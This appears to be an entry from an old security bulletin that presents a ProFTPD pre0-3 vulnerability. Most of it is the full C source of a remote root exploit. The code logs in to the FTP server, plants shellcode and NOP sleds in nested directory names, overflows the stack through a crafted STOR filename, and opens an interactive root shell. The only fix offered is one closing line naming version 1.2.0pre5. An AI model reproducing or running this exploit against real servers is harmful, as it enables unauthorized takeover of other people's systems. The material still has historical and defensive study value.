COMMAND
Proftpd
SYSTEMS AFFECTED
munices
PROBLEM
Yet another proftpd exploit...
/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
* - adm-wuftpd by duke
* - kombajn do czereśni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define MAXARGLEN 64
#define MAXLINE 1024
#define ANONL "ftp"
#define ANONP "mozilla@"
#define INCOM "/incoming/"
#define FTPPORT 21
#define RET 0xbffff550
#define NOP 0x90
#define ALIGN 0
#define CONTENT "y0u ar3 n0w 0wn3d!"
#define GREEN "\033[1;32m"
#define RED "\033[1;31m"
#define NORM "\033[1;39m"
#define BOLD "\E[1m"
#define UNBOLD "\E[m"
char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];
#ifdef DEBUG
FILE *phile;
#endif
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int readline(sockfd, buf)
int sockfd;
char *buf;
{
int done = 0;
char *n = NULL, *p = NULL, localbuff[MAXLINE];
while (!done)
{
if (!p)
{
int count;
bzero(localbuff, MAXLINE);
if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
{
(void)fprintf(stderr, "IO error.\n");
return -1;
}
//
#ifdef DEBUG
fprintf(phile, "Received: %s", localbuff);
#endif
//
localbuff[count] = 0;
p = localbuff;
}
n=(char *)strchr(p, '\r');
if (n)
{
*n = 0;
n += 2;
done = 1;
}
bzero(buf, MAXLINE);
strncat(buf, p, MAXLINE);
p = n;
}
return 0;
}
int eatthis(sockfd, line)
int sockfd;
char *line;
{
do
{
bzero(line, MAXLINE);
if (readline(sockfd, line) < 0) return -1;
} while (line[3] != ' ');
return (int)(line[0] - '0');
}
int connecttoftp(host)
char *host;
{
int sockfd;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(FTPPORT);
//
#ifdef DEBUG
fprintf(phile, "Connecting to %s.\n", host);
#endif
//
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
return -1;
}
//
#ifdef DEBUG
fprintf(phile, "Connected to %s.\n", host);
#endif
//
return sockfd;
}
int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
int result;
char errbuf[MAXLINE];
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "USER %s\r\n", login);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 3)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "PASS %s\r\n", passwd);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
return 0;
}
int makedir(dir, sockfd)
char *dir;
int sockfd;
{
char buf[MAXLINE], errbuf[MAXLINE], *p;
int n, result;
bzero(buf, MAXLINE);
p = buf;
for(n=0;n < strlen(dir);n++)
{
if(dir[n]=='\xff')
{
*p='\xff';
p++;
}
*p=dir[n];
p++;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "MKD %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "CWD %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
return 0;
}
int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";
char buf1[MAXLINE], tmp[MAXLINE], *p, *q;
if (makedir(cwd, sockfd) < 0) return -1;
bzero(buf1, MAXLINE);
memset(buf1, 0x90, 756);
memcpy(buf1, cwd, strlen(cwd));
p = &buf1[strlen(cwd)];
q = &buf1[755];
bzero(tmp, MAXLINE);
while(p <= q)
{
strncpy(tmp, p, 100);
if (makedir(tmp, sockfd) < 0) return -1;
p+=100;
}
if (makedir(shellcode, sockfd) < 0) return -1;
return 0;
}
int put(sockfd, offset, align)
int sockfd, offset, align;
{
char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE],
hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
int n, sock, nsock, port, i;
struct in_addr in;
int octet_in[4], result;
char *oct;
struct sockaddr_in yo;
bzero(buf2, MAXLINE);
memset(buf2, NOP, 100);
for(i=4-ALIGN-align; i<96; i+=4)
*(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
bzero(tmp, MAXLINE);
strncpy(tmp, p, strlen(buf2));
port=getpid()+1024;
bzero(&yo, sizeof(yo));
yo.sin_family = AF_INET;
yo.sin_port=htons(port);
bzero(buf, MAXLINE);
p=buf;
for(n=0;n<strlen(tmp);n++)
{
if(tmp[n]=='\xff')
{
*p='\xff';
p++;
}
*p=tmp[n];
p++;
}
gethostname(hostname, MAXLINE);
in.s_addr = getip(hostname);
oct=(char *)strtok(inet_ntoa(in),".");
octet_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[3]=atoi(oct);
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0],
octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
perror("socket()");
return -1;
}
if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
{
perror("bind()");
close(sock);
return -1;
}
if (listen (sock,10) < 0)
{
perror("listen()");
close(sock);
return -1;
}
bzero(sendbuf, MAXLINE);
sprintf(sendbuf, "STOR %s\r\n", buf);
write(sockfd, sendbuf, strlen(sendbuf));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", sendbuf);
#endif
//
result = eatthis(sockfd, errbuf);
if (result < 0) return -1;
if (result > 2)
{
fprintf(stderr, "%s\n", errbuf);
return -1;
}
if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct
sockaddr))) < 0)
{
perror("accept()");
close(sock);
return -1;
}
write(nsock, CONTENT, sizeof(CONTENT));
//
#ifdef DEBUG
fprintf(phile, "Sending: %s", CONTENT);
#endif
//
close(sock);
close(nsock);
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[MAXLINE];
int c;
fd_set rf, drugi;
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
while (1)
{
bzero(buf, MAXLINE);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, MAXLINE);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, MAXLINE);
if (c<0) return 0;
write(1,buf,c);
}
}
}
void usage(void)
{
(void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o
offset] [-a align] host\n", av0);
exit(1);
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];
(void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour
ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GR
EEN, NORM, UNBOLD);
if (strchr(argv[0], '/'))
av0 = strrchr(argv[0], '/') + 1;
else
av0 = argv[0];
opterr = aflag = oflag = lflag = pflag = dflag = 0;
while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
switch((char)ch)
{
case 'l':
lflag = 1;
strncpy(login, optarg, MAXARGLEN);
break;
case 'p':
pflag = 1;
strncpy(passwd, optarg, MAXARGLEN);
break;
case 'd':
dflag = 1;
strncpy(cwd, optarg, MAXARGLEN);
break;
case 'o':
oflag = 1;
offset = atoi(optarg);
break;
case 'a':
aflag = 1;
align = atoi(optarg);
break;
case '?':
default:
usage();
}
argc -= optind;
argv += optind;
if (argc != 1) usage();
if (!lflag) strncpy(login, ANONL, MAXARGLEN);
if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
if (!oflag) offset = 0;
if (!aflag) align = 0;
//
#ifdef DEBUG
phile = fopen("debug", "w");
#endif
//
if ((sockfd = connecttoftp(*argv)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
if (logintoftp(sockfd, login, passwd) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n",
*argv, login, passwd);
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in
%s\n", login, passwd, cwd);
if (mkd(sockfd, cwd) < 0)
{
(void)fprintf(stderr, "Unknown error while making
directories.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET +
offset, align);
if (put(sockfd, offset, align) < 0)
{
(void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(1);
}
(void)fprintf(stderr, "Y0u are n0w r00t.\n");
if (sh(sockfd) < 0)
{
(void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
fclose(phile);
#endif
//
close(sockfd);
exit(1);
}
//
#ifdef DEBUG
fclose(phile);
#endif
//
exit(0);
}
SOLUTION
ProFTPD 1.2.0pre5 should *CORRECTLY* address the security issues
pointed out.